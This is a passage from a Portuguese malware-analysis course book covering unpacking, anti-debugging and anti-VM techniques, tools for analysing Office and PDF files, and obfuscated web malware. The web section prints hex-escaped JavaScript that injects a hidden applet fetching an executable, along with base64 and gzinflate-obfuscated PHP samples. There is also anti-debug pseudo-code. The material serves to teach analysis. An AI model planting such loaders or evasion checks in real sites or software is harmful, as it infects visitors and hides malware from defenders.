código de unpacking geralmente é pequena, uma vez que ela não contribui para a funcionalidade
principal do programa, e sua função normalmente é simplesmente: fazer o unpacking do executável
original. O código de unpacking realiza três passos:
Faz o unpacking do executável original na memória
Resolve todos os imports do executável original
Transfere a execução para o Original Entry Point (OEP)
O local, no código de unpacking, onde é feito a transferência para o OEP, é conhecido como
Tail Jump. Uma instrução JUMP é o jeito mais simples e mais popular para transferir a execução
do programa para outro endereço. Uma vez que isso é muito comum, muitos packers maliciosos
tentarão ofuscar essa função utilizando a instrução RET ou CALL. Ás vezes o tail jump é ofuscado
com funções do SO que transferem o controle, como a NtContinue ou ZwContinue.
Engenharia Reversa e Análise de Malware | 149
Unpacking Ilustrado
Um dos passos iniciais ao analisar malware é descobrir se ele está compactado com packers.
Veremos algumas técnicas que podem ser empregadas para descobrir isso, a lista a seguir sumariza
sinais que podem ser buscado para descobrir se um malware está compactado.
malware. Na maioria das vezes, quando você faz o unpacking do malware, você cria um novo
binário que não é idêntico ao original, mas que faz mas mesmas coisas que o original faz.
Unpacking Automático
Unpacking Manual
Às vezes, malware com packer pode ser descompactado automaticamente por um programa
existente, mas mais frequentemente deve ser realizado o unpacking manual. Unpacking manual
pode por vezes ser feito rapidamente, com um esforço mínimo, outras vezes ele pode ser um
Engenharia Reversa e Análise de Malware | 152
Utilizando a segunda abordagem, temos que realizar algumas etapas para que o programa
fique corretamente descompactado. Essas etapas são:
1. Encontrando o OEP
O Original Entry Point é o endereço da primeira instrução do programa antes de ele ter sido
compactado. Encontrar o OEP pode ser uma das tarefas mais difíceis do unpacking manual.
Existem algumas ferramentas que podem ser utilizadas para isso, mas nem sempre irão ter sucesso.
Algumas delas são:
OllyDump plug-in para o OllyDbg. Esse plug-in possui duas funcionalidades úteis para
unpacking de malware, uma delas é encontrar o OEP através da opção Find OEP by
Engenharia Reversa e Análise de Malware | 153
Caso o processo automático de encontrar o OEP não tenha sucesso, será necessário tentar
encontrá-lo manualmente com a ajuda de debuggers. Não existem estratégias que funcionem com
todos os packers, cada um tem sua particularidade, é importante conhecer os métodos mais comuns
para desenvolver seus próprios métodos.
Código compactado e de unpacking são muitas vezes diferentes do código que debuggers
normalmente lidam. Esse tipo de código muitas vezes se auto modificam, contém instruções CALL
que não retornam, código que não está marcado como código, e outras coisas estranhas. Esses
recursos podem confundir os debuggers e causarem o fracasso dos breakpoints.
Algumas estratégias que podem ser seguidas para encontrar o OEP manualmente:
A mais simples é buscar pelo Tail Jump. Como mencionado anteriormente, essa instrução
salta do código de unpacking para o OEP. Normalmente é uma instrução JMP, mas alguns autores
de malware fazem isso com uma instrução RET para evitar detecção. Frequentemente o tail jump é
a última instrução válida antes de um monte de instruções inválidas, cujos bytes são utilizados como
alinhamento para seções do PE.
Engenharia Reversa e Análise de Malware | 154
Duas características indicam claramente que esse é um tail jump: ele está localizado no final
do código e ele faz ligação com um endereço que está muito distante. Normalmente jumps são
utilizados em condicionais ou loops e saltam para endereços que estão poucas centenas de bytes de
distância, porém esse está a 0x999D0 ou 629.200 bytes de distância.
Tendo encontrado o OEP devemos executar o programa com o debugger exatamente até ele,
ou seja, devemos colocar um breakpoint para parar a execução nesse ponto. Pode ser utilizado um
software breakpoint comum (F2) no tail jump e quando atingido pressionar F7 para atingir o OEP
ou pode-se colocar um hardware breakpoint exatamente no OEP que será atingido assim que for
feito o tail jump. Um hardware breakpoint é um breakpoint que o próprio processador gerencia, ele
não modifica nada no programa, o processador simplesmente sabe quando parar quando um
endereço específico da memória é acessado. No nosso caso quando o OEP for acessado.
Outra estratégia para encontrar o OEP manualmente é colocar breakpoints após cada loop no
código. Isso permite que você monitore cada instrução que está sendo executada sem consumir uma
quantidade enorme de tempo indo pelo mesmo código do loop várias vezes. Normalmente, o código
terá vários loops, incluindo loops dentro de loops. Este método é manualmente intensivo e
geralmente demora mais tempo do que outros métodos, mas é fácil para compreender. A maior
armadilha com este método está em colocar um breakpoint no lugar errado, o que fará com que o
executável execute completamente sem atingir o breakpoint. Se isso acontecer, não desanime. Volte
para onde você parou e continue colocando breakpoints mais adiante no processo até encontrar o
OEP.
Outra estratégia para encontrar o tail jump é colocar o breakpoint na função
GetProcAddress. A maioria dos unpackers usará GetProcAddress para resolver as importações para
a função original. Um breakpoint que atinge GetProcAddress está bem avançado no código de
descompactação, mas ainda há uma boa porção de código antes do tail jump. Colocar um
breakpoint no GetProcAddress permite-lhe ignorar o início do código de unpacking, que muitas
vezes contém o código mais complicado. Abaixo a localização da chamada a GetProcAddress no
código de unpacking do UPX, conseguimos visualizar bem abaixo no código o tail jump.
Engenharia Reversa e Análise de Malware | 155
Uma vez que tenha atingido o OEP é hora de fazer o dump da memória. Isso porque ao
atingirmos com o debugger o OEP, o processo já está todo descompactado na memória, basta que
copiemos o conteúdo da memória para um arquivo no disco.
Para realizar esse processo, duas ferramentas são mais utilizadas, o plug-in OllyDump que
também possui uma função de dump de memória, e o Lord PE, que dentre outras funções também
realiza o dump. Lembrando que esse processo deve ser feito com o malware aberto no OllyDbg e
parado bem no breakpoint. Os programas irão fazer o dump a partir desse processo.
No OllyDump quando clicamos na opção de dump do processo, é exiba a janela abaixo.
Note que como estamos criando um novo arquivo PE para o processo da memória é necessário fazer
algumas alterações nesse arquivo, como por exemplo, no PE Header, agora o Entry Point do
arquivo não pode apontar mais para o código de unpacking, ele deverá apontar para o OEP que
encontramos. O OllyDump já faz essas correções automaticamente. Inclusive ele possui opções de
reconstrução da IAT, às vezes essa opção pode funcionar e às vezes não. Na próxima etapa
saberemos como lidar com a IAT.
Engenharia Reversa e Análise de Malware | 156
No LordPE o processo também é simples, basta clicar com o botão direito em cima do
processo que está sendo descompactado e selecionar a opção “dump full”, será aberta uma janela
para especificar o local no disco onde salvar o dump da memória.
Selecione, na lista de processos ativos, o processo que está rodando no debugger (ainda)
que está na memória.
Você deve alterar o OEP apresentado pelo ImpREC, tem que colocar o mesmo que você
encontrou no debugger, mas o endereço tem que ser formato no formato de RVA.
Clique no botão IAT Autosearch. Você deve ver uma mensagem que foi encontrada a
IAT.
Agora clique em GetImport. Uma listagem com todos os arquivos com as funções
importadas deve aparecer na janela. Se a operação ocorreu com sucesso, todos os
imports estarão com “valid: YES”.
Clique no botão Fix Dump. Você deverá informar o caminho para o arquivo de dump
que você salvou com o OllyDump ou LordPE, e o ImpREC irá gravar um novo arquivo
com um underline adicionado ao seu nome.
Alguns programas podem ser muito difíceis de descompactar. Às vezes, você pode passar o
dia todo tentando descompactar um programa e não tem sucesso. Talvez o packer está usando uma
nova técnica que você simplesmente não consegue resolver. Se isso acontecer, você não precisa
sempre criar um executável totalmente desempacotado e funcional a fim de analisar uma parte do
malware.
O caso mais simples ocorre quando um programa que está desempacotado falha para
executarporque você não pode reparar completamente a IAT e o PE header. Nesse caso, você ainda
pode usar IDA Pro para analisar o programa, mesmo que não sejatotalmente executável. Depois de
ter salvado o dump no disco, você podeutilizar o IDA Pro analisar seções específicas do código,
navegue até o endereço de memóriae marque esta seção como código. Você também pode buscar
strings noprograma, o que pode revelar as funções importadas e outras informações úteis.
A análise sem conseguir descompactar totalmente o programa é muito limitada,
masdependendo do seu objetivo, pode ser suficiente.
Alguns unpackers realmente não descompactam o programa original inteiroantes que o
programa comece a funcionar. Em vez disso, eles fazem unpacking de uma parte doprograma
original, e executam essa porção. Quando tiver que executar a próxima partede código, essa parte é
descompactado na memória e executada. Isto criasobrecarga considerável para o executável, mas
torna muito difícil para umanalista descompactar.
Fazendo a engenharia reversa da técnica que extrai pedaços individuais decódigo pode
permitir que você escreva um script para descompactar todo o código, ou pelo menosgrandes
Engenharia Reversa e Análise de Malware | 158
Material necessário:
10.2. Anti-Debugging
Anti-debugging é uma técnica popular de antianálise utilizada por malwares para reconhecer
quando está sob o controle de um debugger ou para frustrar os debuggers. Os autores de malware
sabem que os analistas usam debuggers para descobrir como os malwares operam, e assim utilizam
técnicas anti-debugging em uma tentativa de dificultar a vida dos analistas tanto quanto possível.
Uma vez que o malware percebe que está sendo executado em um debugger, ele pode alterar seu
fluxo normal de execução ou modificar o código para causar um erro, interferindo nas tentativas dos
analistas para compreendê-lo, e adicionando o tempo e sobrecarga adicional a seus esforços.
Há muitas técnicas anti-debugging, talvez centenas, vamos discutir apenas as mais populares
que encontramos no mundo real.
Malware usa uma variedade de técnicas para procurar indícios de que um debugger está
ativo, inclusive usando a API do Windows, verificando manualmente estruturas da memória em
busca de artefatos de debugging, e procurando no sistema pelos resíduos deixados por um debugger.
Detecção de debugger é a forma mais comum do malware realizar anti-debugging.
para determinar se ele está sendo debugado. Algumas destas funções foram concebidas realmente
para a detecção de debugger, outras foram concebidas para diferentes propósitos, mas podem ser
reaproveitadas para detectar um debugger. Algumas destas funções usam funcionalidades não
documentadas na API.
Normalmente, a maneira mais fácil de evitar uma chamada para uma função de anti-
debugging é modificando manualmente o malware durante a execução para não chamar esta função.
Uma opção mais difícil seria colocar um hook nessas funções, como um rootkit.
As funções a seguir da API do Windows podem ser utilizadas para anti-debugging:
IsDebuggerPresent
A função mais simples da API para detecção de um debugger é a IsDebuggerPresent. Esta
função procura na estrutura Process Environment Block (PEB) o campo IsDebugged, que irá
retornar zero se não estiver executando no contexto de um debugger ou um valor diferente de zero
se um debugger estiver ativo. Nós vamos discutir a estrutura PEB mais detalhadamente na próxima
seção.
CheckRemoteDebuggerPresent
Esta função é quase idêntica a IsDebuggerPresent. O nome é enganoso, pois ela não vai
procurar por um debugger em uma máquina remota, mas sim por um processo na máquina local.
Ela também verifica na estrutura PEB o campo IsDebugged, no entanto, ela pode fazer isso para si
mesma ou por outro processo na máquina local. Esta função obtém um process handle como
parâmetro e verifica se esse processo tem um debugger anexado. CheckRemoteDebuggerPresent
pode ser usado para verificar o seu próprio processo, simplesmente passando um handle do seu
processo.
NtQueryInformationProcess
Esta é uma função da Native API em ntdll.dll que recupera informações sobre um dado
processo. O primeiro parâmetro para esta função é um handle (identificador) de processo, o segundo
é usado para informar a função sobre o tipo de informação de processo para ser recuperado. Por
exemplo, usando o valor ProcessDebugPort (valor 0x7) para este parâmetro irá lhe dizer se o
processo em questão está atualmente sendo debugado. Se o processo não estiver sendo debugado,
um zero será retornado, caso contrário, o retorno será um número de porta.
OutputDebugString
Esta função é utilizada para enviar uma string para um debugger exibir, ela pode ser usada
para detectar a presença de um debugger. Por exemplo, no código abaixo, é utilizada a função
Engenharia Reversa e Análise de Malware | 160
SetLastError para atribuir ao código de erro atual um valor arbitrário. Se OutputDebugString for
chamada e NÃO houver debugger ativo, a função irá retornar um erro, e esse erro possuirá um
código diferente do que colocamos. Já se OutputDebugString for chamada e houver um debugger
ativo, a função não retornará nenhum erro, nesse caso o código de erro que atribuímos com
SetLastError ainda estará valendo. Assim podemos definir se um debugger está ativo ou não.
if(GetLastError() == errorValue){
ExitProcess();
}
else{
RunMaliciousPayload();
}
Usar a API do Windows pode ser o método mais óbvio para detectar a presença de um
debugger, mas checar as estruturas manualmente é o método mais comum utilizado pelos autores de
malware. Existem muitas razões pelas quais eles são desencorajados de usar a API do Windows
para anti-debugging. Por exemplo, as chamadas da API podem ser "hookadas" por um rootkit para
retornar informações falsas. Dessa forma, os autores de malware muitas vezes optam por realizar
manualmente o que as funções da API fazem, assim não dependem delas.
Para realizar verificações manuais, várias flags dentro da estrutura PEB fornecem
informações sobre a presença de um debugger. Iremos ver algumas flags mais comuns utilizadas
para essa detecção.
BeingDebugged Flag
A estrutura Windows PEB (Process Environment Block) é mantida pelo sistema operacional
para cada processo em execução, como mostrado no exemplo da listagem abaixo, ela contém todos
os parâmetros user-mode associados a um processo. Estes parâmetros incluem o ambiente do
processo, que incluem as variáveis de ambiente, a lista dos módulos carregados, os endereços de
memória e o status do debugger.
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
BYTE Reserved4[104];
PVOID Reserved5[52];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved6[128];
PVOID Reserved7[1];
ULONG SessionId;
} PEB, *PPEB;
Enquanto um processo está executando, a localização da PEB pode ser referenciada por
fs local: [30h]. Para anti-debugging, o malware irá essa localização para verificar a flag
BeingDebugged, que indica se o processo especificado está sendo debugado. A tabela abaixo
mostra dois exemplos deste tipo de verificação.
Forçar o jump ser (ou não) executado modificando manualmente a Zero Flag
imediatamente antes que a instrução seja executada. Esta é a abordagem mais fácil.
Manualmente mudar a flag BeingDebugged para zero.
Ambas as opções são normalmente eficazes contra todas as técnicas descritas nesta seção.
Dica: Existem alguns plug-ins do OllyDbg que alteram a flag BeingDebugged para você. Os mais
Engenharia Reversa e Análise de Malware | 162
populares são Hide Debugger, Hidedebug e PhantOm. Todos são úteis para lidar com a checagem
da flag BeingDebugged e também ajudam em muitas das outras técnicas que discutiremos neste
capítulo.
NTGlobalFlag
Uma vez que os processos são executados de forma ligeiramente diferente quando iniciados
por um debugger, eles criam pilhas de memória de forma diferente. A informação que o sistema
utiliza para determinar como criar estruturas de heap é armazenada em um local não documentado
na PEB no offset 0x68. Se o valor neste local for 0x70, sabemos que estamos executando em um
debugger. O valor 0x70 é uma combinação de várias flags quando uma heap é criada por um
debugger.
Resíduos do Sistema
Ao analisar malware geralmente utilizamos debuggers, que deixam resíduos no sistema. O
malware pode procurar por este resíduo a fim de determinar quando você está tentando analisá-lo.
Pode fazer isso procurando as chaves do Registro que fazem referência aos debuggers. A seguinte
chave é uma localização comum para um debugger:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug
Essa chave especifica o debugger que é ativado quando um erro ocorre em uma aplicação.
Por padrão, esta é definida como Dr. Watson, por isso, se ela é alterado para algo como OllyDbg, o
malware pode determinar que ele está sob observado.
O malware pode também procurar no sistema por arquivos e diretórios, como executáveis de
debuggers comuns, que estão tipicamente presentes durante análise de malware. Ou o malware pode
detectar resíduo em memória, visualizando a listagem de processos em execução, ou mais
comumente, através da realização de um FindWindow, que simplesmente busca por uma janela com
o nome de um debugger, como mostrado no código abaixo.
if(FindWindow("OLLYDBG", 0) == NULL)
{
//Debugger Not Found
}
else
{
//Debugger Detected
}
Engenharia Reversa e Análise de Malware | 163
Lembre-se que debuggers podem ser usados para definir breakpoints ou percorrer o código
de um processo linha-a-linha a fim de auxiliar o analista de malware na engenharia reversa. No
entanto, quando essas operações são realizadas em um debugger, elas modificam o código do
processo. Várias técnicas anti-debugging são utilizadas por malwares para detectar esse tipo de
comportamento do debugger: INT scanning, checagens de checksum e verificações de tempo
(timing checks).
INT scanning
INT 3 é uma interrupção de software usada por debuggers para substituir temporariamente
uma instrução em um programa em execução e para chamar um debugger exception handler - um
mecanismo básico para definir um breakpoint. O opcode para INT 3 é 0xCC. Sempre que você usar
um debugger para definir um breakpoint, ele modifica o código inserindo um 0xCC. Uma técnica
comum de anti-debugging é o processo de o malware fazer um scan no seu próprio código em busca
de opcodes 0xCC. Caso ele encontre, redirecionará o processamento para algum código anti-
debugging.
Checksums
O malware pode calcular um checksum de uma seção de seu código para atingir o mesmo
objetivo que o scanning de INT 3. Em vez de procurar por 0xCC, essa checagem simplesmente
executa uma verificação de redundância cíclica (CRC) ou um MD5 dos opcodes no malware. Esta
técnica pode ser superada usando breakpoints de hardware.
Timing Checks
Timing checks são uma das formas mais populares do malware detectar debuggers, porque
os processos são executados mais lentamente quando está sendo debugado. Por exemplo, um único
single-stepping em um processo retarda a substancialmente a velocidade de execução do programa.
Existem algumas maneiras de usar timming checks para detectar um debugger:
intervenção humana a fim de lidar com exceções, o que provoca um atraso enorme.
Mesmo que muitos debuggers permitem que você ignore exceções e passe por elas,
ainda haverá um atraso considerável.
O método mais comum de timing check usa a instrução rdtsc (opcode 0x0F31), que retorna
a contagem do número de ticks desde o último reboot em um valor 64-bit colocado em EDX: EAX.
O malware vai simplesmente executar esta instrução duas vezes e comparar a diferença entre as
duas leituras.
Duas funções da API do Windows são usadas assim como a rdtsc, a fim de realizar anti-
debugging com time check. Processadores possuem registradores que armazenam contadores de
atividades executadas pelo processador. QueryPerformanceCounter pode ser chamada para
consultar este contador duas vezes a fim de obter uma diferença de tempo para utilização em uma
comparação. Se passar muito tempo entre as duas chamadas, a suposição é que um debugger está
sendo usado.
Já a função GetTickCount retorna o número de milissegundos que passou desde o último
reboot, também pode ser utilizada com a mesma técnica.
TLS Callbacks
A maioria dos debuggers se inicia no Entry Point do programa, tal como definido pelo PE
Header. Um TLS callback pode ser usada para executar código antes do Entry Point, e, portanto,
executar secretamente em um debugger. Se você contar apenas com a utilização de um debugger,
você pode perder alguma funcionalidade de certo malware, devido a TLS ser executada tão logo ele
é carregado para o debugger.
Basicamente, TLS permite que cada thread mantenha um valor diferente para uma variável
declarada como TLS. Quando TLS é implementada por um executável, haverá normalmente um
seção .tls no PE Header. TLS suporta funções de callback para inicialização e finalização de objetos
de dados TLS. O Windows executa essas funções antes que rodar o código normal no início do
programa.
Você deve imediatamente suspeitar se encontrar um seção .tls em um executável, programas
Engenharia Reversa e Análise de Malware | 165
normais geralmente não utilizam essa seção. Analisar TLS callbacks é fácil com o IDA, após
terminar de carregar o programa, vá à aba de Exports e se encontrar um que contenha o nome
TlsCallback, quer dizer que o que estiver nele executará antes do debugger atingir o entry point.
Para evitar isso no OllyDbg, vá ao menu Options - Debugging Options - Events e
selecione a opção System breakpoint como primeira parada para o debugger.
Usando Exceptions
Exceptions podem ser usadas para interromper ou detectar um debugger. A maioria das
detecções baseadas em exception utiliza o fato de que os debuggers irão interceptar a exception e
não passá-la imediatamente para o processo que está sendo debugado manipulá-la. A configuração
padrão na maioria dos debuggers é manipular as exceptions e não passá-las para o programa. Se o
debugger não passar a exceção para o processo corretamente, isso pode ser detectado.
Quando estiver realizando análise de malware, é recomendado passar todas as exceptions
para o programa automaticamente, no OllyDbg isso pode ser configurado em: Options -
Debugging Options - Exceptions.
Anti-disassembly usa código especialmente criado em um programa para fazer com que as
ferramentas de disassembly produzam uma listagem incorreta de código.
Todo o malware é projetado com um objetivo específico em mente: keylogging, acesso por
backdoor, spam, e assim por diante. Os autores de malware muitas vezes vão além desta
funcionalidade básica para implementar técnicas específicas para se esconder do usuário ou
administrador do sistema, usando rootkits ou injeção processo, ou para de outra forma frustrar
análise e detecção.
Eles usam técnicas anti-disassembly para retardar ou impedir a análise de código malicioso.
Qualquer código que é executado com sucesso pode ser revertido, mas equipando seu código com
Engenharia Reversa e Análise de Malware | 166
Agora o mesmo código interpretado pelo disassembler da forma correta, vemos que
instruções úteis para uma análise ficaram escondidas na primeira listagem.
Existem inúmeras técnicas que podem ser empregadas para tentar enganar os disassemblers,
são técnicas avançadas que exigem estudo mais aprofundado e fogem do escopo desse curso. A
princípio sabemos que elas existem e podem ser empregas pelos malwares, caso nos deparemos
Engenharia Reversa e Análise de Malware | 167
com instruções assembly malformadas podemos levantar a suspeita que se trata de uma técnica anti-
disassembly.
Os autores de malware às vezes usam técnicas anti-virtual machine (anti-VM) para frustrar
as tentativas de análise. Com estas técnicas, o malware tenta detectar se ele está sendo executado
dentro de uma máquina virtual. Se uma máquina virtual é detectada, ele pode agir de maneira
diferente ou simplesmente não funcionar. Isto pode, é claro, causar problemas para o analista.
Técnicas anti-VM são mais comumente encontradas em malware que é amplamente
distribuído, como bots, scareware e spyware (principalmente porque honeypots frequentemente
usam máquinas virtuais e porque este malware normalmente tem como alvo a máquina do usuário
comum, que é improvável que esteja executando uma máquina virtual).
A popularidade do malware anti-VM tem decrescido recentemente, e isto pode ser atribuído
ao grande aumento no uso de virtualização. Tradicionalmente, os autores de malware usam técnicas
anti-VM porque eles pensavam que só os analistas iriam executar o malware em uma máquina
virtual.
No entanto, hoje administradores e usuários utilizam máquinas virtuais. Os autores de
malware estão começando a perceber que só porque uma máquina é virtual não significa
necessariamente que ela não é uma vítima valiosa. Como a virtualização continua a crescer, técnicas
anti-VM provavelmente se tornarão ainda menos comuns.
Técnicas anti-VM normalmente têm como alvo a VMware, a seguir, exemplos de algumas
técnicas que podem ser empregadas para isso.
VMware Artefacts
O ambiente da VMware deixa muitos artefatos no sistema, especialmente quando VMware
tools está instalado. Os malwares podem utilizar esses artefatos, que estão presentes no sistema de
arquivos, registro, lista de processos, memória, para detectar VMware.
sldt
smsw
str
in (with the second operand set to VX)
cpuid
De forma geral para lidar com técnicas anti-VM deve-se utilizar o mesmo raciocínio
utilizado para lidar com anti-debugging, identificar a técnica empregada e anula-la. Ou ainda mais
fácil executar o malware em outra VM ou tentar desinstalar a VMware tools antes de fazer a
análise.
Material necessário:
Como foi dito, documentos podem conter vários outros objetos embutidos. Devemos olhar
para esses objetos embutidos em busca de códigos maliciosos.
Da versão 2007 em diante, a Microsoft passou a adotar como padrão de arquivo o Open
Office XML [2], as versões anteriores utilizam outro padrão. Quando estivermos lidando com os
documentos devemos levar isso em consideração.
O formato novo que possui as extensões DOCX, XLSX, PPTX, trata-se de um compactado
que armazena vários outros arquivos XML, então podemos usar utilitários como WinRAR e ZIPs
para extrair esses arquivos e depois para visualizar o conteúdo do XML é só abrir em editor de texto
comum. A única exceção é quando o arquivo contém macros VB. Além dos XMLs haverá também
um arquivo chamado vbaproject.bin, esse arquivo contém o código do macro VB comprimido e está
no formato antigo, mas é possível utilizar o utilitário OfficeMalScanner, que veremos a seguir, para
visualizá-lo.
11.2.1. OfficeMalScanner
OfficeMalScanner é uma ferramenta de linha de comando criada por Frank Boldewin para
detectar código malicioso dentro de arquivos do Microsoft Office. Ela funciona para arquivos do
Word, Power Point e Excel. A ferramenta somente arquivos antigos do Office (anteriores ao 2007)
mas como vimos isso não é problema já que as versões atuais é só descompactar e ler os XMLs. Já
os arquivos de macro VB ela analisa tanto das versões antigas quanto das novas.
Quando utilizamos o OfficeMalScanner devemos especificar uma dessas opções ou modos:
scan: varre o arquivo especificado em busca de padrões genéricos de shellcode
brute: usar XOR e ADD como valores de 0x00 a 0xFF para decodificar o conteúdo do
arquivo especificado. Após cada rodada de decodificação, ele busca por assinaturas OLE
e arquivos PE embutidos. Se encontrar algum, é automaticamente extraído em arquivos
separados
debug: exibe o disassembly (para shellcode) ou hex dump (para strings, dados OLE e
arquivos PE)
info: exibe estruturas OLE, offsets, e tamanhos encontrados no arquivo especificado. Ele
também extrai para o disco qualquer macro Visual Basic encontrada.
Engenharia Reversa e Análise de Malware | 171
Mais informações e ferramentas para analisar documentos Office podem ser encontradas nos
links abaixo.
Frank Boldewin’s “Analyzing MSOffice Malware with OfficeMalScaner” paper and “New
advances in MS Office malware analysis” presentation
(http://www.reconstructer.org/papers.html).
Frank Boldewin’s “Episode 2: The image of death”
(http://www.h-online.com/security/features/CSI-Internet-The-image-of-death-1030311.html)
Lenny Zeltser’s “Extracting VB Macro Code from Malicious MS Office Documents”
(http://blogs.sans.org/computer-forensics/2009/11/23/extracting-vbmacros-from-malicious-documents/)
Officecat – Uma ferramenta para detectar exploits CVE em documentos Office
(http://www.snort.org/vrt/vrt-resources/officecat)
Microsoft’s OffViz – Uma ferramenta para analisar a estrutura de documentos Office e CVEs
(http://blogs.technet.com/b/srd/archive/2009/09/14/offvis-updatedoffice-file-format-training-
video-created.aspx)
ViCheck.ca – Scanner online de arquivos maliciosos (https://www.vicheck.ca/)
Material necessário:
justamente isso que os atacantes exploram, vulnerabilidades nos leitores de PDF, como o Adobe
Reader.
Assim como os documentos do Office, o formato PDF também possui vários objetos
embutidos. Cada objeto possui um número e uma versão, por exemplo 1 0, e objetos podem fazer
referência a outros objetos também, nesse caso haverá um R após o número e versão, 1 0 R faz
referência ao objeto 1. Um objeto pode executar uma série de ações e uma delas é executar código
JavaScript.
JavaScript é o que os atacantes utilizam para executar código maliciosos dentro de um
arquivo PDF. Com a ajuda do JavaScript ele conseguem explorar vulnerabilidades no leitor de PDF
e partir daí “escapar” do contexto do PDF e executar comandos no computador da vítima, como por
exemplo, fazer download de um malware.
Alguns objetos e identificadores úteis que o PDF possui:
Existem algumas ferramentas para analisar PDF maliciosos, elas buscam por esses objetos e
principalmente pelo código JavaScript embutido. Algumas conseguem identificar assinaturas de
ataques e exibir o identificador CVE (Common Vulnerabilities and Exposures) relacionado a ele.
As mais conhecidas e utilizadas são:
PDFiD identifica PDFs que contém strings associadas com scripts e actions.
PDF-parser e Origami’s pdfwalker examina a estrutura de arquivos PDF.
Origami’s pdfextract e Jsunpack-n’s pdf.py extrai JavaScript de arquivos PDF.
PDF Stream Dumper combina muitas ferramentas de análise de PDF utilizando uma
interface gráfica.
Peepdf e Origami’s pdfsh oferece um console de linha de comando para examinar PDFs.
PDF X-RAY Lite cria uma relatório em HTML contendo a estrutura e conteúdo do
arquivo PDF decodificado.
SWF mastah extrai objetos SWF de arquivos PDF.
Engenharia Reversa e Análise de Malware | 173
Material necessário:
Referências
[1] https://community.qualys.com/blogs/securitylabs/2011/11/30/dissecting-targeted-attacks
[2] http://en.wikipedia.org/wiki/Office_Open_XML
Engenharia Reversa e Análise de Malware | 174
Web malware na verdade se refere a qualquer tecnologia web utilizada com fins maliciosos.
Os autores de malwares e fraudes cibernéticas estão sempre buscando novos meios de realizar seus
golpes, para eles quando mais rápido e fácil for para atingir seus objetivos, melhor.
Utilizar web sites para armazenar e distribuir malwares é um método rápido e efetivo, por
isso, grandes portais e sites de muito acesso estão sempre na mira de invasores. Se o atacante
encontra uma vulnerabilidade em um portal conseguirá ter acesso ao seu código-fonte, a partir daí
ele pode inserir scripts maliciosos na página principal do site. Todos os usuários que visitarem o site
a partir daí poderão ser infectados.
Para perpetrar esse tipo de ataque, o atacante às vezes emprega várias técnicas diferentes
utilizando linguagens como JavaScript, PHP, Applet Java e Action Script Flash. E quase sempre
utilizam ofuscação de código, às vezes muito simples e fáceis de reverter e outras vezes um pouco
mais complexas mas também reversíveis.
Outra característica desse tipo de ataque é a de criar vários hops (saltos) até chegar
realmente no código principal. Eles invadem vários servidores diferentes e vão criando
redirecionamentos entre esses servidores, geralmente com códigos ofuscados. Isso aumenta o rastro
do ataque e dificulta o rastreamento. Um analista de malware menos atento pode se perder nesse
caminho. Veremos um pequeno resumo de como normalmente as tecnologias web mais comuns são
utilizadas.
12.1. JavaScript
JavaScript é uma linguagem client-side muito utilizada, inclusive com fins maliciosos.
Geralmente quando invadem um site, os atacantes inserem um script JavaScript no código da
página index do site. Quando o site é acessado por um visitante, esse JavaScript é executado
automaticamente. Uma chama a um JavaScript pode ter essa aparência:
<script src="http://www.qualquersite.com/scriptname.js"></script>
JavaScript em conjunto com Applet Java é muito utilizado pelos atacantes para instalar
malware no computador dos usuários. Quando estiver analisando o código-fonte de um site que está
apresentando comportamento estranho, procure por algum JS malicioso, na maioria das vezes os
Engenharia Reversa e Análise de Malware | 175
var plugin =
(unescape('%3C%61%70%70%6C%65%74%20%63%6F%64%65%3D%22%4D%69%63%72%6
F%73%6F%66%74%5F%43%6F%72%70%6F%72%61%74%69%6F%6E%5F%4A%61%76%6
1%5F%56%69%72%74%75%61%6C%5F%4D%61%63%68%69%6E%65%2E%63%6C%61%7
3%73%22%20%61%72%63%68%69%76%65%3D%22%68%74%74%70%3A%2F%2F%6C%6
F%63%61%6C%68%6F%73%74%2F%69%6D%61%67%65%73%2F%53%63%72%69%70%74
%46%61%69%6C%2E%6A%61%72%22%20%68%65%69%67%68%74%3D%22%30%22%20
%77%69%64%74%68%3D%22%30%22%3E%3C%50%41%52%41%4D%20%4E%41%4D%45
%3D%22%6E%6F%6D%65%22%20%56%41%4C%55%45%3D%22%47%6F%6F%67%6C%6
5%55%70%64%61%74%65%22%3E%3C%50%41%52%41%4D%20%4E%41%4D%45%3D%2
2%6C%6F%63%61%6C%22%20%56%41%4C%55%45%3D%22%68%74%74%70%3A%2F%2
F%6C%6F%63%61%6C%68%6F%73%74%2F%69%6D%61%67%65%73%2F%47%6F%6F%6
7%6C%65%55%70%64%61%74%65%72%2E%65%78%65%22%3E%3C%50%41%52%41%4
D%20%4E%41%4D%45%3D%22%6D%65%6E%73%61%67%65%6D%22%20%56%41%4C%
55%45%3D%22%4F%6B%22%3E%3C%2F%61%70%70%6C%65%74%3E'))
document.write(plugin);
Esse é um código válido e está ofuscado com caracteres hexadecimais. Outro tipo de
ofuscação pode ser assim:
<SCRIPT LANGUAGE="JavaScript"><!--
hp_d02(unescape("=q`vlvs(u{sa8$smyv,ndpf{bpjtq$9
%0A%0Dvqagchfgq(becggWR@/*0,psc$+(#ozGjhsmov!(%25$681'!(%25$681'!(%25$?&1,3&,=
%0A%0A8*udzhrw:"));//--></SCRIPT><SCRIPT LANGUAGE="JavaScript"><!--
hp_d02(unescape("?+mcfl?"));//--></SCRIPT>
Existem várias ferramentas e web sites que lidam com ofuscação de código JS, em destaque:
12.2. PHP
O PHP também pode ser encontrado ofuscado, existem várias técnicas que fazem isso,
encriptam o código. Algumas formas de PHP ofuscado:
Engenharia Reversa e Análise de Malware | 177
<? $plugin =
base64_decode('PHNjcmlwdCBzcmM9Imh0dHA6Ly9sb2NhbGhvc3QvanMvcGx1Z2luLmpzIj48
L3NjcmlwdD4='); echo $plugin; ?>
Ofuscação utilizando base64, bastante simples de reverter.
<? eval(gzinflate(base64_decode('
7P37ehq58igM/73zPLkHhWENMLE5+RAfgicYsI3j
I/gcZ/vX0A10DDRDg7Ezk/d+3+8qvqqS1K0+AXY8
s9Z69/ZaGUAqlUqlUqlUkkq/b338fdAZvH2T+e0f
